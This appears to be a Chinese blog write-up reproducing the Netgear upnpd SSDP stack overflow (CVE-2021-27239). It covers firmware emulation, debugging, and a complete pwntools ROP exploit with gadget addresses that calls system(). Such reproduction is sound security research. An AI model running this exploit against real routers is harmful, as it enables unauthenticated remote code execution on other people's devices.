Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现

漏洞位于/usr/sbin/upnpd,是ssdp(UDP 1900)协议的解析过程中,对MX字段的strncpy引发的栈溢出。由于是字符串拷贝,最终的利用方法仍与 PSV-2020-0211 一致,采取栈迁移的方法规避空字符截断。具体来说就是先把带00的ROP链打上栈,然后再触发栈溢出,用 ADD SP, SP, #0x800; POP {R4-R6,PC} 这种gadget完成栈迁移并将控制流打到ROP的gadget上。

漏洞定位

根据漏洞通告,可见此洞影响的版本众多:

注:PSV 是 Netgear 自己家的漏洞编号体系

以R6700v3为例,其中说明:R6700v3 running firmware versions prior to 1.0.4.102,故找到如下版本,对 /usr/sbin/upnpd 分析

binwalk解包固件,底座为 arm32:linux:uclibc,对目标程序 /usr/sbin/upnpd 搜索MX字符串,容易找到:

image

都不用bindiff,很明显能看到新版本在strncpy前添加了长度检查,那肯定就是这个栈溢出了。多说一句,就是这个漏洞的发生的本质是:strncpy拷贝的最大长度,错误的取决于输入,正确的应该是取决于拷贝目标。

历史漏洞

关于Netgear的upnpd可以RCE的历史漏洞,主要有两个:PSV-2020-0211 , PSV-2019-0296

PSV-2020-0211

目标:upnpd UDP 1900

原始作者:

对于此洞的复现比较多,可以找到以下完整的复现和利用过程:

显然PSV-2020-0432与PSV-2020-0211类似,故最后的交互为UDP 1900端口的ssdp报文。

PSV-2019-0296

目标:upnpd TCP 5000

2019 pwn2own tokyo的比赛项目,原始作者为Pedro Ribeiro和Radek Domanski:

对于此洞的复现:

模拟运行

看起来路由器的原生系统也没有直接开放可以getshell的接口,并且之前很多文章都可以成功模拟运行upnpd,所以也尝试模拟运行,坑点仍然在nvram的hook上,主要是两点:

  1. 编译的libnvram.so时需要用uclibc的交叉编译工具链,否则可能无法找到函数符号
  2. 虚假的nvram的表项需要添加一大堆,并且IP地址配置要和本地一致,才能正常运行

对于nvram的hook,有现成的一些项目:

这里使用libnvram,打如下patch:

diff -uprN ./libnvram/config.h ./libnvram_patch/config.h
--- ./libnvram/config.h	2021-11-03 21:25:11.000000000 +0800
+++ ./libnvram_patch/config.h	2021-11-03 21:26:48.000000000 +0800
@@ -49,8 +49,8 @@
     ENTRY("restore_defaults", nvram_set, "1") \
     ENTRY("sku_name", nvram_set, "") \
     ENTRY("wla_wlanstate", nvram_set, "") \
-    ENTRY("lan_if", nvram_set, "br0") \
-    ENTRY("lan_ipaddr", nvram_set, "192.168.0.50") \
+    ENTRY("lan_if", nvram_set, "ens33") \
+    ENTRY("lan_ipaddr", nvram_set, "192.168.0.110") \
     ENTRY("lan_bipaddr", nvram_set, "192.168.0.255") \
     ENTRY("lan_netmask", nvram_set, "255.255.255.0") \
     /* Set default timezone, required by multiple images */ \
@@ -70,6 +70,18 @@
     /* Used by "DGND3700 Firmware Version 1.0.0.17(NA).zip" (3425) to prevent crashes */ \
     ENTRY("time_zone_x", nvram_set, "0") \
     ENTRY("rip_multicast", nvram_set, "0") \
-    ENTRY("bs_trustedip_enable", nvram_set, "0")
-
+    ENTRY("bs_trustedip_enable", nvram_set, "0") \
+    ENTRY("upnpd_debug_level", nvram_set, "9") \
+    ENTRY("friendly_name", nvram_set, "R6700") \
+    ENTRY("upnp_turn_on", nvram_set, "1") \
+    ENTRY("upnp_enable", nvram_set, "1") \
+    ENTRY("board_id", nvram_set, "123456") \
+    ENTRY("lan_hwaddr", nvram_set, "AA:BB:CC:DD:EE:FF") \
+    ENTRY("board_id", nvram_set, "123456") \
+    ENTRY("upnp_duration", nvram_set, "3600") \
+    ENTRY("upnp_DHCPServerConfigurable", nvram_set, "1") \
+    ENTRY("wps_is_upnp", nvram_set, "0") \
+    ENTRY("upnp_sa_uuid", nvram_set, "00000000000000000000") \
+    ENTRY("upnp_advert_ttl", nvram_set, "4") \
+    ENTRY("upnp_advert_period", nvram_set, "30")
 #endif

打patch方法:

  ls
diff.patch libnvram
  patch -p0 < ./diff.patch                                        
patching file ./libnvram/config.h

然后用uclibc编译这个库,工具可以直接在uclibc官网下到:cross-compiler-armv5l.tar.bz2

➜ cd libnvram
➜ make CC=../cross-compiler-armv5l/bin/armv5l-cc 

这里提供编译好的库:libnvram.so,不过因为ip地址和网卡啥的需要与本地环境相同,可以直接用sed替换进行适配:

 sed -i 's/192.168.0.110/192.168.1.111/g' ./libnvram.so
 sed -i 's/192.168.0.255/192.168.1.255/g' ./libnvram.so
 sed -i 's/ens33/eth0/g' ./libnvram.so

然后直接拷贝到,设备文件系统的lib目录下,这样可以省去LD_PRELOAD:

$ cp ./libnvram.so ./lib/libnvram.so
$ cp `which qemu-arm-static` ./
$ mkdir -p ./tmp/var/run
$ mkdir -p ./firmadyne/libnvram
$ mkdir -p ./firmadyne/libnvram.override
$ sudo chroot . ./qemu-arm-static  ./usr/sbin/upnpd

成功启动后,可以看到目标端口:

$ sudo netstat -pantu | grep qemu
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      54012/./qemu-arm-st 
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           54012/./qemu-arm-st 
udp        0      0 0.0.0.0:39991           0.0.0.0:*                           54012/./qemu-arm-st 
$ ps -ef | grep qemu
root       54012    1465  0 13:52 ?        00:00:00 ./qemu-arm-static ./usr/sbin/upnpd
xuanxuan   54046   46552  0 13:54 pts/3    00:00:00 grep --color=auto qemu

修复调试

另外运行起来后,发现进程号会变,也就是程序会fork,qemu-user无法调试,又没看到upnpd直接在哪fork了,所以直接patch其libc中的fork,让其直接return 0:

后经同伴提醒,daemon()会fork()

.text:00015ABC             fork                                    ; CODE XREF: j_fork+8j
.text:00015ABC                                                     ; DATA XREF: LOAD:00008D74o ...
.text:00015ABC 00 00 A0 E3                 MOV             R0, #0  ;
.text:00015AC0 3E FF 2F E1                 BLX             LR

如果是patch fork的调用过程则一般直接清空r0寄存器即可:

call fork -> mov r0, 0

本质都是让父进程完成子进程的工作,直接给出patch好的 libc.so.0

漏洞利用

除了NX没有任何保护:

$ checksec ./usr/sbin/upnpd
[*] './usr/sbin/upnpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

测试过长的MX:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)

io.send(payload)

开调试:

$ sudo chroot . ./qemu-arm-static -g 1234  ./usr/sbin/upnpd

的确就控制流劫持了:

$ gdb-multiarch  -q
pwndbg> set architecture arm
pwndbg> set endian little 
pwndbg> target remote :1234
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616160 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
 R0   0x0
*R1   0x1
*R2   0x258
 R3   0x0
*R4   0x61616161 ('aaaa')
*R5   0x61616161 ('aaaa')
*R6   0x61616161 ('aaaa')
 R7   0x0
*R8   0xfffed580 —▸ 0xfffecf90 ◂— 0x614d2061 ('a Ma')
*R9   0xfffecf7c ◂— 0x61616161 ('aaaa')
*R10  0xfffed584 ◂— 0xff7d0020 /* ' ' */
*R11  0xc01cc ◂— 7
*R12  0xff57bedc —▸ 0xff571a50 ◂— adds   r0, #0
*SP   0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC   0x61616160 ('`aaa')

因为是strncpy引发的栈溢出,所以需要绕空字符,虽然qemu-user可以无视NX以及随机化,投机取巧打shellcode,但仔细分析后发现还是有正经的方法打真实的利用:

SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE

image

其实就是发两个包,进行如下测试:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

payload  = b'xuan\x00hello'*200
io.send(payload)

payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)

当发生控制流劫持时:

*SP   0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC   0x61616160 ('`aaa')
─────────────────────────────[ DISASM ]──────────────────────────────
Invalid address 0x61616160


──────────────────────────────[ STACK ]──────────────────────────────
00:0000 sp 0xfffecf58 ◂— 0x61616161 ('aaaa')
...        7 skipped
────────────────────────────[ BACKTRACE ]────────────────────────────
  f 0 0x61616160
─────────────────────────────────────────────────────────────────────
pwndbg> search xuan
[stack]         0xfffed6f8 'xuan'
[stack]         0xfffed702 'xuan'
[stack]         0xfffed70c 'xuan'
[stack]         0xfffed716 'xuan'

当前的栈在0xfffecf58,先发送过去的一堆xuan在0xfffed6f8,其差为:

>>> hex(0xfffed6f8 - 0xfffecf58)
'0x7a0'

并且先发过去的空字符不会被截断:

pwndbg> x /2gx 0xfffed6f8
0xfffed6f8:	0x6c6568006e617578	0x68006e6175786f6c
pwndbg> x /2s 0xfffed6f8
0xfffed6f8:	"xuan"
0xfffed6fd:	"helloxuan"

可找到如下gadget:

.text:00013908                 ADD             SP, SP, #0x800
.text:0001390C                 POP             {R4-R6,PC}

所以完全可以先把带00的ROP链打上栈,然后再触发栈溢出,使用如上gadget栈迁移。这种栈迁移,并没有把栈迁移到其他数据段,栈还在栈上,就是错位了,这种gadget就是正常的函数结尾,所以也很常见。

  • 这种打法有些类似堆喷:将恶意数据残留在内存上,之后使用
  • 这种打法的情景有先后:先扔数据,再控制流劫持
  • 这种打法可行的道理是:上次接受的栈上数据没有清空

最后的ROP与 Netgear R8300 UPnP栈溢出漏洞分析 相同,使用如下gadget将栈上的可控串拷贝到upnpd的bss段:

.text:0000BB44                 MOV             R0, R4  ; dest
.text:0000BB48                 MOV             R1, SP  ; src
.text:0000BB4C                 BL              strcpy
.text:0000BB50                 ADD             SP, SP, #0x400
.text:0000BB54                 POP             {R4-R6,PC}

然后打一个system即可:

.plt:0000AE64 ; int system(const char *command)

最终exp如下,bss地址使用0x970A0,只打一个ls,反弹shell的懒得弄了:

from pwn import *

io = remote("127.0.0.1",1900,typ='udp')

cmd = b'ls'

# throw rop chain to stack first
rop_chain  = p32(0x970A0)
rop_chain += p32(1) * 2
rop_chain += p32(0xBB44)
rop_chain += cmd.ljust(0x400,b"\x00")
rop_chain += p32(1) * 3
rop_chain += p32(0xAE64)
io.send(b'a'*356 + rop_chain)

sleep(0.1)

# trigger stack buffer overflow to rop chain
payload  = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: '
payload += b'a'*139
payload += p32(0x13908)[:-1]
payload += b'\r\n'
io.send(payload)
nvram_match: true
ssdp_http_method_check(204):
ssdp_discovery_msearch(1008):
MX Empty , not integer or negative!!
bin              lib              qemu-arm-static  usr
data             media            sbin             var
dev              mnt              share            www
etc              opt              sys
firmadyne        proc             tmp
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

总结鸣谢

复现这个洞的技术点没有什么新颖的,都是IoT老生常谈的东西:

hook、patch、bypass也的确是黑客常用的动词,最后感谢cq674350529师傅的文章: